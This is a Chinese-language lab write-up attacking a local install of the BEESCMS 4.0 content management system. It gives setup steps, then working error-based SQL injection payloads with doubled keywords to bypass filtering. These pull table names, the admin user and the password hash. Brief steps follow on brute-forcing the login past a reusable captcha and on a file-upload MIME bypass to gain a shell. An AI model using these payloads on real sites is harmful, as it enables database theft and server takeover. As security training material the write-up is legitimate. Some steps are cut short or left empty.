前期准备

靶机名称or源码名称:BEES_V4.0_R_20160525.rar

官方下载地址:http://beescms.com/cxxz.html

(一) 环境搭建:

#解压源码文件到网站根目录

#访问源码文件install完成按照提示完成安装

#修改mysql.ini 文件，在mysqld 下添加条目: secure_file_priv =,保存然后重启phpstudy,不然用mysql写入文件会报错。

一、预备知识:

枚举法（俗称暴力破解）：

在 进行归纳推理时，如果逐个考察了某类事件的所有可能情况，因而得出一般结论，那么这结论是可靠的，这种归纳方法叫做枚举法。枚举法是利用计算机运算速度 快、精确度高的特点，对要解决问题的所有可能情况，一个不漏地进行检验，从中找出符合要求的答案，因此枚举法是通过牺牲时间来换取答案的全面性。

在数学和计算机科学理论中，一个集的枚举是列出某些有穷序列集的所有成员的程序，或者是一种特定类型对象的计数。这两种类型经常（但不总是）重叠。

SQL注入：

SQL 注入即是指Web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句， 在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

二、实验步骤

扫描发现登录地址

(一) SQL注入

登录页面SQL注入漏洞,我们就不用sqlmap了手注

  经过测试发现一些常用的sql注入危险函数被过滤使用复写绕过

因为注入点在登录界面看不到回显,所以使用报错注入

admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)--+

查询到当前用户为root

查询表明发现字符应该是被限制了,使用substr截取

查询表名

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1)--+

查询后32个字符

user=admin' a and nd updatexml(1,concat(0x7e,(substr((selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),32,64)),0x7e),1)--+

查询bees_admin里的字段

user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(column_name) fr from om information_schema.columns whe where re table_schema like database()),1,32),0x7e),1)--+&password=123456&code=a9c5&submit=true&submit.x=57&submit.y=23

查询到admin_name字段里的内容用户为admin

user=admin'a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om beescms.bees_admin),0x7e),1)--+

查询密码

user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om beescms.bees_admin),7,32),0x7e),1)--+

拼接后密码MD5值为

21232f297a57a5a743894a0e4a801fc3

解密的结果为

(二) 弱口令爆破

这里的验证码在不刷新页面的情况下，是可以无限尝试登录的，所以我们可以对密码进行爆破

添加payload

admin length不同很有可能是密码

(三) 文件上传

网站有文件上传点

修改mime类型即可绕过

成功getshel